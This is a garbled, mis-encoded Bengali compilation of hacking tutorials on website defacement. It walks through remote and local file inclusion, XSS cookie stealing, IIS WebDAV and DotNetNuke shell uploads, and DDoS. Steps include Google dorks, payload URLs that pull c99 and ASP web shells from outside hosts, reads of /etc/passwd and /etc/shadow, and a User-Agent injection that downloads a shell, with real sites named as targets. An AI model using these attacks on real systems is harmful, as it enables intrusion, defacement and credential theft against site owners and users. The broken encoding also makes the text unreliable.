২ ndash অনাযচছজ এয নাভ কতদন ৩ ndash সজএ সকান কতকচায কতদচছত চাআচছর তায কতরংক কতদন
সমভন - httpi1114photobucketcomalbumsk528rakibulhasan09Hacker1gif
৪ ndash অকতন সজ এ মা কতকছ কতরখচছত চান তা এখাচছন কতরখনএটা অনায সভচছজ ৫ ndash অকতন মকতদ সকান ফযাকগরাউনড কতভউকতজক কতদচছত চান তচছফ তায আউটিউফকতরংক এখাচছন কতদন ৬ ndash এটি অনায এআচটিএভএর সকাড ৭ - Generate এ কতিক কচছয অনায সকাড সজনাচছযট কচছয কতনন ৮ - Copy সত কতিক কচছয কতনন
এফায একটি সনাটচছড চছন কচছয অনায সজনাচছযট কযা সকাডটি সে করন এফং সনাটচছড এয FilegtSave
as এ কতিক কচছয অনায কতডচছপচছজ এয নাভ কতদচছয txt এয জাযগায html কতদন এফং কতনচছচ পাআরটাআ এ All files
কচছয কতদন সব চছয সগচছর অনায কতডচছপচছজ টি গগর চযভ ফা ভকতজরাচছত চছন কচছয সদখন অকতন মকতদ এআচটিএভএর াচছযন তচছফ অকতন আো কযচছর কতডচছপচছজটি অচছযা কােভাআজ কযচছত াযচছফন Simple Demo - httppastehtmlcomviewbonelu59ohtml
--==Advance Deface Page Creator==--
Download - httpwwwmediafirecomdownloadbr6hdik65zhon6oAdvance+Deface+Page+Creatorrar
Tutorial -
পাআরটি চছন কযচছর কতনচছচয ভত উআচছনডা াচছফন
এখাচছন অনায নাভ কতদন সমভন - X3N4X অভায নাভ
এফায Enable All এ কতিক করন এচছত ফ আচছপকট ন চছফ
এফায পরচছযাজনীয ঘয গচছরা অনায আনপযচছভন কতদচছয যন করন এফং আচছেভত কারায কতযফতব ন করন
Add Homepage title and texts এ কতিক করন
এফায এখাচছন অনাযচছজ এয নাভ এফং সজ এ অকতন কতক কতক সভচছজ কতদচছত চান তা কতরখন এফং পরচছযাজনভত াআজ ঠিক কচছয কতনন
সল চছর এপলাআ চছক কচছয কতদনঅয মকতদ অচছযা সরখা সমাগ কযচছত চান তচছফ Add এ কতিক করন
সরখা সল চছর চছক কচছয কতদন
এফায Create Defacement এ কতিক কচছয অনায পাআচছর এয নাভ অয জাযগা সদকতখচছয সব কচছয কতনন
সব চছয সগচছর পাআরটি চছন কচছয সদখনঅকতন HTML এ াযদী চছর সজটি সনাটচছড এ চছন কচছয আচছেভত একতডট কচছয কতনন এফং অনায যাক কযা াআট এ অচছরাড কচছয কতনন Simple Demo - httppastehtmlcomviewbonexk664html
--==অকতনমকতদ HTML াচছযন==--
অকতন মকতদ HTML াচছযন তচছফ গগর সথচছক াচব কতদচছয চছননয কতডচছপচছজ ডাউনচছরাড কতদচছয সটি অনায নাভ আনচছপা কতদচছয অনায ফাকতনচছয কতদন
Collection -bcaware
httpwwwtunerpagecomarchives78980
httpwwwtunerpagecomarchives98804
httpwwwtunerpagecomarchives219088
httpwwwtunerpagecomarchives224434
---------------------------------------------------------------------------------------
---------------------------------------------------------------------------------
1মেব মপরাগরাসমিং সলোর জিয ৩০ টি বািংা িআ-বক বা pdf বিআ
2 Collection of Important Programming Languages E-books
httpwwwfacebookcomdownload290805637728289Collection20of20Important2
0Programming20Languages20Erar
3 Collection of best SQL injection Tools
পটযযায গচছরা ডাউনচছরাড কযচছত অনাচছক গর এ জচছযন কযচছত চছফ
অভাচছদয সপফক গর টি সচছকরট যায অচছন জচছযন কযচছত াযচছফন না তাআ সকউ মকতদ অভাচছদয গরচছ জচছযন কযচছত চান তাআচছর অভাচছক সপফচছকঅনায সপফক সপরাপাআর কতরে সভচছজ কতদন অকতভ যাড কচছয কতদফঅয সকাথায সকান বর চছর কতনজগচছন কষভা কচছয কতদচছফন
পারক অচছভদ
wwwfacebookcommdfaroqueahmed
Mystrious Tusin
wwwfacebookcomcyb3rc0d3
অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip
Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন
mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash
mdashmdashmdashmdashmdash
সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip
httpwwwtargetsitecomindexphppage=Anything
উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ
ldquoinurlindexphppage=rdquo
উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ
ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন
httpwwwtargetsitecomindexphppage=wwwgooglecom
এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip
httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom
তাচছর এটি সদখাচছফhellip
এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip
এযয াধাযণত যাকাযযা তায কতবকটিচছভয চছযফাআচছট সম সকান Shells অচছরাড কচছয মাচছত তায কাজটি ফাআচছক সদখাচছত ভাচছন পরভাণটি সফকতযবাগ যাকাযযা c99 shell ফা r57 shell অচছরাড কচছয অকতভ অনাচছদয সদখাফ c99 shell অচছরাড কযা এজনয যাকাযযা সম সকান একটি চছযফচছািটিং াআচছট তাচছদয সর অচছরাড কচছয সনয সমভন-ripwaycom 110mbcom আতযাকতদ এখন ভচছন কচছযন অকতভ ripwaycom এআ াআচছট সর অচছরাড কযরাভ তাচছর অভায কতরংক চছফhellip
httph1ripwaycomtjunselectedc99shellphp
এফায যাকায চছযফাআটটিচছত একটি কভানড কতদচছফ কভানডটি চছফ httpwwwcbspkcomv2indexphppage=httph1ripwaycomtjunselectedc99shellphp
এখন তাচছর এটি চছযফাআট সদখফ সদচছখন কতক সদচছখন
তচছফ ফযআ ভচছন যাখচছফন কতরংচছকয সচছলldquo rdquo পরশনচছফাধক কতচহনটি রাকতগচছয কতদচছফন নতফা অনায সর কাজ কযচছফ না
কতনফবাকতচতটিউনাযtrade
XSS কতক
XSS যাকতকং িচছকব জানচছত চছর পরথচছভআ জানচছত চছফ XSS কতজকতনটা কতক Cross site Scripting এয ংকতকষিরআ চছে XSS এটাচছক অফায CSS(Cascading Style sheet) ফচছর থাচছক মায সমবাচছফ আো স বাচছফ ফচছর এটা Web
Application Vulnerability এয ফচছচচছয জনকতপরয গচছরায একটি এআ vulnerability একজন যাকাযচছক একটি াআচছট client side scripts (কতফচছল কতকছ Javascript) আনাটব কযায নভকতত পরদান কচছযন এআ vulnerability কতদচছয একজন যাকায কতবকটিচছভয াআচছট malicious codes malware attack phishing আতযাকতদ inject কযাচছত াচছয
ছকতফঃ http3bpblogspotcom_lBoKsfWMhbETLYDr8vQmTIAAAAAAAAAAMV1wVWY0GB70s1600
xss-threat3jpg
XSS Vulnerability and Injection
যাপ ১ Vulnerable মেব িািআট োমজ মবর করা
অচছন পরথচছভ Vulnerable াআট খচছজ সফয করন এজনয স পরথচছভ Google এ মান তাযয Google Dorks
ফযফায কচছয Vulnerable াআট খচছজ সফয কচছযন তাচছর অকতন তায াচছথ াচব কতদন কতনচছচয sql Injection কতদচছয searchq=
তাচছর অকতন চছনকগচছরা Vulnerable াআট খচছজ াচছফন এফায একটি াআচছট পরচছফ করন
যাপ ২ Vulnerability পরীো করা
এখন অভযা সম াআচছট পরচছফ কচছযকতছ সআ াআচছটয Vulnerability যীকষা কচছয সদখফ এজনয অনাচছক পরথচছভ উি াআচছটয এফটি সাি ফা parameter খচছজ সফয কযচছত চছফ ফচছঝচছছন
না ফঝচছর একট চছকষা কচছযন ফরকতছ ভাচছন অকতন এভন একটি সািখচছজ সফয কযচছফন মা উি াআচছটয াবব ায াঠাচছফ সমভনঃ search query username password
Vulnerability যীকষা কযা জনয দটি িকতত অচছছ
পদধসত ১ পরথম পদধসত হ িািআমটর ম িািব বমে injection করা একজন যাকায াধাযণত াআচছটয ভর াচব ফচছকস একটি malcious script কতরচছখ তাযযাচব ফাটচছন কতিক কচছয াচব সদযায াচছথ াচছথ malcious script টি চছযফাআচছট কাজ কযা শর কচছয সদয
http2bpblogspotcom-
8z5CXuZZpegTpgBgtdbdBIAAAAAAAAAsEqCTc_dxniWEs1600search+boxjpg
পদধসত ২ িািআমটর URL এ injection করা এটি সকান াচব ফচছকস কাজ কচছয না এটি শধ ভাতর াআচছটয URL এ কাজ কচছয থাচছক সমভনঃ- htpvulnerablewebsitesearchq=malicious_script_goes_here
যীকষা কযায কতফধাচছথব input fields কতচছচছফ কতনচছচয সকাডটি কতদন
এফায উচছযয সকাডটি কতদচছয অকতন এফায যীকষা কচছয সদখন সমভনঃ-
পরথম পদধসতিঃ অকতন উচছযয সকাডটি অনায কতবকটিচছভয াআচছটয ভর াচব ফচছকস কতরচছখ াচব সদন
সিতীে পদধসতিঃ অকতন কতবকটিচছভয াআচছটয কতরংচছক রাকতগচছয এনটায কতদন সমভনঃ- httpvulnerablewebsitesearchq=
এফায মকতদ extreme hackerlsquo কতরখা একটি অ ফকস অচছ তাচছর ফঝচছফন সম এআ াআটটি XSS এয জনয vulnerable
যাপ ৩ Malicious Scripts মদো
Vulnerability যীকষা কযায য একজন যাকাচছযয যফতী কাজ র কতবকটিচছভয াআচছট malicious scripts আচছেকট কযাচছনা এটি উকতি াআচছটয cookies চকতয কযা এফং malware attack কযচছত চছমাকতগতা কযচছফ
এখন ভচছন করন যাকাচছযয াআচছট cookie stealing script টি অচছছ তাচছর তায malicious script url চছফ
httpattackerSitemaliciousjs
এখন যাকায তায malcious script টি vulnerable site এ inject কযচছত াযচছফন তাচছর তায URL চছফ
এযয মখনআ উি াআচছটয কতবকতজটয উি াআচছট কতবকতজট কযচছফ তখকতন malcious script টি কাজ শর কচছয কতদচছফ এফং ককতক চকতয কযা শর কচছয কতদচছফ
িাযারণত XSS এর েমতা িিিামর persisting capability হে দিআ যরমির একটা হ Persistent িঅমরকটা হ Non-Persistent
Persistent XSS
এটার ফচছচচছয সফকত ঝ কতকণব XSS vulnerability এটা যাকতয াবব ায সথচছকআ ডাটা ভ ংযকষণ কচছয থাচছক তাআ অকতন মখনআ উি াআচছট malicious script injection কতদচছফন াচছথ াচছথ এটি চছযফ এযাকতপলচছকাচছন সথাযীবাচছফ ংযকষণ চছয মাচছফ এটি নযনযা কর কতবকতজটযচছক এটা সদকতখচছয কতদচছফ মকতদ অকতন অনায কতবকটিচছভয চছযফ াআচছট malicious script injection কযচছফন তাচছর এটি উি াআচছট অা কতবকতজটযচছদয অকরানত কচছয সমভনঃ- কতকছ কতকছ াআট অচছছ মাযা তাচছদয াআচছটয ফযফাযকাকতযচছদয টযাক কযায জনয search query গচছরা ংযকষণকচছয যাচছখ মায পরাপর XSS এয permanent storage
Non-Persistent XSS
এচছক চছনচছকআ Reflected XSS ফচছরথাচছক এজনযআ malicious script এখাচছন সটিযাযী পচছর অনায সদযা িীপটটি াধাযণ কতবকতজটযযা সদখচছত াযচছফ না তচছফ যা মাযা যাকায তাযাতাচছদয সদযা িীপটটি কতবকতজটযচছদয সদখাচছনায জনয injection টি ফযফাযকচছয থাচছক ভজায কতফলয র মাযা উি াআচছটয মাযা কতনযকতভত কতবকতজটয তাযা কতকনত ভচছন কচছয সম এটা াআচছটয কতনচছজয কতরংক পচছর তাযা সখাচছন মায অয তাযউি াআচছটয যাকতকংচছযয কতকায য সমভনঃ- অকতন কতকছ কতকছ াআচছট সম সকানকতজকতন াচব কতদচছর সদখচছফন অনাচছদয অনায সদযা াচব কতসটরংটি অনাচছক নযায সদখাচছে এটায কাযচছণআ malicious code temporarily
একজি হযাকার এিআ Vulnerability সদমে সক কমর
কতযচযতর কতফকতবনন সগানীয তথয চকতয কযা
চছযফ াআচছটয Bypassing restriction
Session Hijacking Malware Attack
Website Defacement Dos attacks
কাচছটব কত ndash কতনফবাকতচত টিউনাযtrade গগর
শব কাভনা অনাচছদয জনয যাকতকং কতখন কতকনত যাকতকং কষকতত কযায উচছেচছয কাচছজ রাগাচছফন না ভরতঃ যাকতকং ভযাথচছডয সল সনআ অা ককতয সকউ ফরচছত াযচছফ না সম
অকতভযাকতকংচছযয ফআ াকতয তাচছর স বর ফচছরচছছ এচছকয য এক কতনযভ নতকতয চছে
যাকতকং কযা য অচছর কতনচছজয সভধা কতদচছয অকতন সম বাচছফ াচছযন যাকতকং কচছয মাচছফন অজ সদখাফ যাকতকংচছযয অচছযকটি জনকতপরয ভযাথড এটা চছনচছকআ ফযফায কচছযথাচছক চরন তাচছর ভর চছফব চচছর মাযা মাক
LFI
যাকাযচছদয
একটি জনকতপরয ভযাথড এটি একটি ংকতকষি নাভ এআ ংকতকষি বদটিয ণবর র
Local File Inclusionঅজ
অনাচছদয
াচছত-করচছভ সদখাফ কতকবাচছফ অকতন একটা াআচছট LFI Injection কতদচছত য
পরথচছভ
কতনচছচয PHP সকাডগচছরা
সদখনhellip
$page=$_GET[page] include($page)
gt
উচছয php সকাডটি চছনক চছযফ সডচছবরাযযাআ তাচছদয চছযফাআচছট ফযফায কচছয থাচছক
কতকনত এটি অচছর তাযা বর কচছয থাচছক কাযণ এআ $pageসকাডটি sanitized না এফং এটি এটা যাকাযচছদয থটা জ কচছয সদয ভরতঃ এআ সকাডটি যাকাযযা তাচছদয LFI যাকতকংচছযয কাচছজ ফযফায কচছয থাচছক অকতন মকতদ কতফকতবনন াআট ঘচছয থাচছকন তাচছর ত কতনচছচয সকাড াআচছটয কতরংক সদখচছত াযচছফ
wwwmywebsitecomindexphppage=productsphp
অকতনএআ ধযচছনয াআচছট সকান ধযচছনয যীকষা ছািাআ ফঝচছত াযচছফন সম
এটি একটি বযারচছযফ চছযফাআট ধচছযন অকতন একটা াআচছট ঢকচছরন উি াআচছটয URL র
wwwmywebsitecomindexphppage=mypagephp
এখাচছন
সদচছখন mypagephp াতাটি
াবব াচছয
সনআ তাআ এটি একটি php error message ভযাচছজ সদচছফ সমভনঃ-
Warning
include() [functioninclude] Failed opening mypagephp for
inclusion
তাচছর
এফায অভযা এআ াআচছট পরচছফ কযফ অভযা জানরাভ সম এটিএকটি vulnerable চছযফাআট মকতদ এআ াআটটি unix server এ চছয থাচছক তাচছর অভযা যত াযাচছডব পাআরটি এখান সথচছক সফয কযচছত াযফ etcpasswd
এআডাআচছযকটকতযচছত াধাযণত াযাডব ংযকতকষত থাচছক সমভনঃ
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
এখন
অভযা পাআচছর
পরচছফ
কচছয াযাডব কতনচছত সচিা কযফ এখাচছন একটা কতজকতন ভচছন যাচছখফন সটায জনয কতনচছচয কতরংকটি সদচছখনhellip
wwwmywebsitecomindexphppage=products
এখাচছন
একটা কতজকতন রকষয করন সম
php এয
য page=products যচছযচছছ
এটি অচছর ভযানযাকতর কযা চছযচছছ তাআ এখাচছন php র
$page=$_GET[page]
include($pagelsquophplsquo)
gt
এআ জনযআ কতরংচছকয সচছল null extension ফযফহত চছয থাচছক
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpassd
wwwmywebsitecomindexphppage=etcpasswd
wwwmywebsitecomindexphppage=etcpasswd
সফকতকষণচছনআ অকতন এআ াআচছটয াযাডব পাআরগচছরা সচছয মাচছফন passwdlsquo file পাআর িচছকব অগাকতভ কতফসতাকতযত ফরা চছফ এছািা অকতন অয সদখচছত াচছফনhellip
etcprofile
etcservices
etcpasswd
etcshadow
etcgroup
etcsecuritygroup
etcsecuritypasswd
etcsecurityuser
etcsecurityenviron
etcsecuritylimits
usrlibsecuritymkuserdefault
এআ পাআরগচছরা অনাচছক াবব াচছযয অয গরতবণব চছনক তথয কতদচছফ
------------------------------------------------------------------------------------------
hellipএবার িঅমরা হযাসকিং মদেবhellip
Requirements
1) Site vulnerable to LFI ( httpwwwsitecom)
2) Remoteshell( httpwwwyourhostingurshelltxt)
3) User-Agent_switcher( httpsaddonsmozillaorgen-USfirefoxhellip-switcher
4) Mozilla Firefox Browser
পরথচছভআ সদচছখ কতনন অনায াআটটি LFI এয জনয vulnerable কতকনা
Google ―Dork
indexphphomepage=
indexphppage=
indexphpindex2=
allinurlindexphppage=
অচছন replace কযচছত াচছযন index and page জাযগায নয কতকছ কতদচছয াচব কতদচছত াচছযন
সমভন
allinurlsitephpsite=
এফায ডক গগচছর কতদচছয াচব কতদন
অভযা
কতনচছছয ভত একটি াআট কতনরাভ
httpwwwfilllpgcoukindexphppage=contactsphp
এফায replace contactsphp মাযগায null তাচছর কতনচছছয ভত চছফ
httpwwwfilllpgcoukindexphppage=null
তাচছর নীচছচয ভত সদখাচছফ
If you see a list of errors running down the page or missing content
(pictures text etc) then the site is vulnerable and we may continue
otherwise just move on to the next site
Now were going to try and connect to a file which we know exists on Linux
servers etcpasswd
Since indexphp has the rights to connect to a file like contactsphp its
possible that the administrator has forgottten to restrict its access to other
files including the files containing sensitive data
Were going to try to read the file etcpasswd which contains data
on root users etc
অভযা null না কতদচছয etcpasswd কতদচছয যাকতয কাজটি কযচছত
াকতয নীচছচয ভত
এফায etcpasswd পাআরটি চছন কযচছত সচিা করন সমভনঃ
httpwwwfilllpgcoukindexphppage=etcpasswd
মকতদ ডাটায সকান কতরে অচছ তাচছর বাগযফান
েসব মদেি http2bpblogspotcom-YAu_DU3GnIoUKBUrssob4IAAAAAAAAAncHqzZkWe3Mags16001JPG
etcpasswd এয মাযগায procselfenviron কতদন তাচছর কতনচছছয ভত সদখচছত াযচছফন ফ াআট এ না থাকচছত াচছয
httpwwwfilllpgcoukindexphppage=procselfenviron
েসব মদেিhttp2bpblogspotcom-qNdN6g9o1MwUKBU-FTOEGIAAAAAAAAAnkYY7AfqVLRlws16002JPG
এফায User-Agent switcher টি ডাউনচছরাড করন এফায Tools ndashgt Default User-Agent
ndashgt Edit User Agents এখাচছন মান তাচছর কতনচছচয ভচছতা কচছয অচছফhellip
েসব মদেি http4bpblogspotcom-fh7-99XttP4TocL11IQMjIAAAAAAAAANMgzecxiOXVFAs4001JPG
এফায
অভযা নতন একটি new user-agent নতকতয কযফ এজনয এখাচছন মান New ndashgt New User-Agent তাচছর
অকতন কতনচছচয ভচছতা কচছয সদখচছত াচছফন
েসব মদেি http3bpblogspotcom-WD_WKG02RTQTocL5ww6j5IAAAAAAAAANQWM_jJ7BPEaIs4002JPG
এখাচছন সমটা সমবাচছফ অচছছ সবাচছফআ সযচছখ চচছর অন Description এ নাভ কতরখন এফং
User-Agent টি এখাচছন সি করন User-Agent এয Tools
ndashgt Default User Agent ndashgt PHP Info সত মান এফায অনায াআচছট মান কতযচছে সদন
তাচছর অকতন উি াআচছট কতনচছচয ভচছতা সদখচছত াচছফন
েসব মদেি http2bpblogspotcom-
kpML0wTbmOYUKBV_gC2FTIAAAAAAAAAoEPpFQMVpKzbUs16006JPG
এফায
Ctrl+F সচচছ
―disable_functions খচছজ সফয করন
disable_functions
| no value | no value
এখন
অভযা অভাচছদয সর কতদচছত াযফ এফায অফায অনায User-Agent এ মান
Edit করন
এফায ―User-Agent টি কতযফতব ন কচছয কতরখন
httpwwwsh3llorgegytxt -O shellphp)gt[
এটা সকাথা সথচছক কতনরাভ অনাচছক পরথচছভ সম ডাউনচছরাড কযচছত ফরা র সর সখান সথচছক এটা সনযা চছযচছছ এখাচছন অভযা উচছয একটি txt পাআর ডাউনচছরাড কচছযকতছ অকতন এটা চছন করন এফায File --gt Save as এ মান এফায shellphp নাভ কতদচছয সবকরন ]
এফায
এটি সব কচছয াআটটি কতযচছে করন এফায তাচছর এখাচছন মান httpwwwsitecomshellphp ভাচছন এটা অনায কতবকটিচছভয াআচছটয কতরংক
েসব মদেি http3bpblogspotcom-
SRkz9h0d8soUKBWLQD1FMIAAAAAAAAAoMlpGNG1UgYMss16007JPG
কতকছ
সডচছভা
াআট কতরংক কতদরাভ
কতকছ
াআট LFI httppastebinca2385927
কতফধাযজনয াচছথ কতবকতড টিউটিকতযযার কতদরাভ
httpwwwyoutubecomwatchv=FP229bKm5v4
httpwwwyoutubecomwatchv=9W9qWAhwaTo
httpwwwyoutubecomwatchv=hMguilRsteY
কাচছটব কত-কতনফবাকতচত টিউনাযtrade
অারাভ অরাআকভ ফাআচছক অফাযসবাগতভ জাকতনচছয অজচছকয টিউন শর কযকতছ
সকভন অচছছন অনাযা অা ককতয ভান অো তাযারায চছল যভচছত খফআ বার অচছছন অজ অফায অনাচছদয জনয এচছনকতছ চছযফ যাকতকং কতনচছয সতা কথা কভ ফচছর কাচছজয কথায অকত
অজ অকতভ অচছরাচনা কযফ IIS(IIS=The Internet Information Server Attack) কতনচছয
উআচছনডাজ একসকত এয কতনভাফকতরঃ ১Run এ
WINDIREXPLOREREXE 20D04FE0-3AEA-1069-A2D8-08002B30309DBDEADF00-C265-11d0-BCED-
00A0C90AB50F
কতরচছখ Enter চান
২ একটি সপাডায অচছফ মায নাভ ldquoWEB FOLDERrdquo
ছকতফ
৩ এখন Right click কচছয NewgtAdd Web Foldergtvulnerable website address
Google Dork - ldquoPowered by IISrdquo
৪কতিক NextgtNextgtFinish
৫ডাফর কতিক কচছয সতাভায কতডচছপ ককত সে কচছয কতদন
এখন সতাভায কতডচছপ সজ httpwwwtargetcomdefacehtml
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=P4ISzsSBTik
কতফঃদরঃ Microsoft চছনক াআচছটয vulnerability ঠিক কচছযচছছ তাআ vulnerable াআট াযা কিকয
gtgtউআচছনডাজ ৭ এয কতনযভাফকতর gtgt
কতকবাচছফ উআচছনডাজ ৭ এ IIS Exploit যাকতকং কযচছফন াযচছফন অনাচছদয জনয এয অচছগ টিচছজ কতকতনকস কর একটা সাি কচছযকতছর IIS Exploit এয উয তাচছর অয কথা নয এখনআ শর কচছয সদআ টিউচছটাকতযযারটি icon smile IIS Exploit িণব
ফাংরা যাকতকং টিউচছটাকতযযার
পরথচছভ My Computer এয মান এফায খাকতর জাযগায যাআট ফাটন কতিক কচছয Add a network Location এ কতিক করন
ছকতফ
এফায Next ফাটচছন কতিক করন
ছকতফ
অফায Next করন
ছকতফhttpi1085photobucketcomalbumsj431powerin10no3jpg
এফায vuln website টিয কতরংকটি কতদন Next করন াআট কতরংক এভন চছফঃ httpwwwmyxixiacom
ছকতফ
অফায Next ফাটচছন কতিক করন
এফায Finish ফাটচছন কতিক করন
ছকতফ
এফায Network Location Option mdashgt website folder এ কতিক করন
ছকতফ
এফায কতনচছচয কতরংক সথচছক shell ডাউনচছরাড কচছয কতনন
wwwzidducomdownload16498227shellziphtml
এফায ডাউনচছরাড যা পাআরটিয উয যাআট ফাটন কতিক কচছয Extract এ কতিক করন
ছকতফ
এফায Poweraspjpg পাআরটি ককত করন
ছকতফ
এফায চছযফ সপাডাচছয poweraspjpg পাআরটি সি করন
ছকতফ
সি কযা সল
এফায অনাযা বরাউজাযটি চছন করন
তাযয অনায কতবকটিচছভয াআচছটয কতরংচছকয সচছল poweraspjpg কতরচছখ এনটায কতদন
সমভনঃ httpwwwmyxixiacompoweraspjpg
ছকতফ
তাচছর অকতন চছনকগচছরা অআচছটভ সদখচছত াচছফন কতরচছি এখান সথচছক indexasp পাআরটি একতডট কযফ
ছকতফ
এফায অনাযা deface html পাআরটি চছন করন
এফায এটায উয যাআট ফাটন কতিক কচছয open with notepad এ কতিক করন
এফায সকাড ফগচছরা ককত করন
ছকতফ
এফায অনায একতডট কযা indexasp পাআরটিচছত ফগচছরা সকাড সি কচছয সব করন
ছকতফ
সব কযায য অকতন এভন একটি সজ াচছফন
ছকতফ
এফায অকতন অনায কতডচছপআ সচছজয নাভ কতবকটিচছভয াআচছটয কতরংচছকয সচছল কতদচছত চছফ তাচছর এফায অকতন কচছয মান
কতবকতড টিউচছটাকতযযার httpwwwyoutubecomwatchv=iG-cjssooVgampfeature=related
`
DNN কতক DNN র ভাআচছকরাপট এয একত (ASP) সপরাগরাকতভং রযাংগচছযজ এয একটা ফাগ(Bug) এয িনব নাভঃ Dot Net Nuke এয ভাধযচছভ অভযা পাআরচছর অচছরাড কযচছত াযফ সম সকান াআট কতক যাক কযা মাচছফ না সম কর াআট এআ Vulnerable স কর াআট যাক কযা মাচছফ চছনক াআট এ Hackable১ কতক বাচছফ াফ Vulnerable াআট ভাভ অচছছ না ভাভ থাকচছত কতচনতা নাআ অকতভ কচছযকটা ডকব কতদকতে মা কতদচছয চছজআ Vulnerable াআট সফয কযচছত াযচছফন
inurlportals0inurlProvidersHtmlEditorProvidersFckfcklinkgalleryaspxinurlFckfcklinkgalleryaspx
গগচছর এটি কতরচছখ াচব কতদচছর চছনক Vulnerable চছযফাআট সচছয মাচছফ তায সথচছক সমচছকান একটি সফচছছ না
ছকতফ
২ এখন সযজাি এয একটা াআটএ কতিক করন অকতন এআযকভ সদখচছত াচছফন ছকতফ
৩ File (A File On Your Site) কতরখা সযকতড ফাটচছন কতিক কচছযা
ছকতফ
৪ এখন বরাউজায এয এচছেফায এয কতরখন javascript__doPostBack(ctlURL$cmdUploadlsquo)
ছকতফ
৫ Script যান কযাচছর পাআর Upload কযায জনয কতচচছতরয ভত Browse ফাটনটি াচছফছকতফ
৬এখাচছন Browse কচছয JpgGifswf আতযাকতদ পাআর Upload কযচছত াযচছফ এখাচছন মাআ Upload কযচছফ তা াধাযন বাচছফ portals0 সত Upload চছফ মকতদ সতাভায াআচছটয নাভ য targetnet এফং সতাভায Upload কযা পাআর এয নাভ মকতদ য testswf তাচছর সতাভায পাআর াচছফ httpwwwTargetnetportals0testswf সত
কতনচছজয নাচছভ একটি ফলযা(swf) Animation ফাকতনচছয Upload কচছয দাফযা এআখান সথচছক জাবাকতিপটটা ডাউনচছরাড কচছয কতনন httpwwwmediafirecomirruu15qetlebuj gtgtএফাযঅকত নযবাচছফgtgt অচছগয ভতআ STOP পরজনত অন তাযয নতন অনটি সত কতিক কচছয একটা সর অচছরাড কয এখান সথচছক ASP সরটি ডাউনচছরাড করন httpwwwmediafirecomdownloadroi2g28hhyi0r6xaspydrvzip তাযয অচছরাড কয
কতকনত অনাচছক যাকতয ASP পাআর অচছরাড কযচছত কতদচছফ না এআ জনয কতটরক ফযাফায কযচছত চছফ সতাভায
সর টা কতযচছনভ কচছয কতরখন marufaspjpg এখন অচছরাড কচছয সদখন অচছরাড কযচছত কতদচছে অনাচছক ফযআ ASP সর ফযাফায কযচছত চছফ PHP সর কতকনত কাজ কযচছফ না সর অচছরাড চছযচছগচছর এআখাচছন মান httpকতবকতকটভcomportals0marufaspjpg ―কতবকতকটভ এয জাযগায সতাভায Hackable াআচছটয নাভ কতরখচছফতাযয সচছয মাচছফ সর একচছ আযা আযা হযা াআট সতাভায কটরচছর সতভন কষকতত কযচছফ না অয মাযা একট Advance তাযা Backconnect কতদচছয াবব ায Root কচছয সপর কতবকতড সদখন httpwwwyoutubecomwatchv=3KVi3_Fkkww
কতরখাটি একতডট কযা চছযচছছ ভারপ অরভ P1n1X_Cr3w সাে সথচছক
ফযাকতক যাকতকং-১২ -DdoS কতক DdoS যাটাক কতক সকন কতকবাচছফ
কতকবাচছফ DdoS যাটাক কযফ
পরথভ পরশন DoS কতজকতন টা কতক DDoS এফং DoS কতক একআ কতজকতন
DoS এয কতযণব র চছে Denial of Service DoS যাটাক এ একটা কতকত থফাএকটা আনটাযচছনট কাচছনকন [ যাটাকায ] সথচছক একটা কতনকতদব ি াবব ায [কতবকটিভ ] এ নফযত [ ফলাকতডং ] TCP UDP যাচছকট াঠাচছনা য
এচছত কচছয আ কতনকতদব ি াবব ায এয ফযানডউআথ এফং নযানয ফকতকছ বাযচছরাড চছযমায পরাপর এয য সমআ আ াবব ায এ কাচছনকন কযায সচিা কযচছফ তাচছকআ াবব ায াকতবব সদযা সথচছক কতফযত থাকচছফ
থবাৎ সাজাকতজ Denial of Service চছফ াবব ায সথচছক
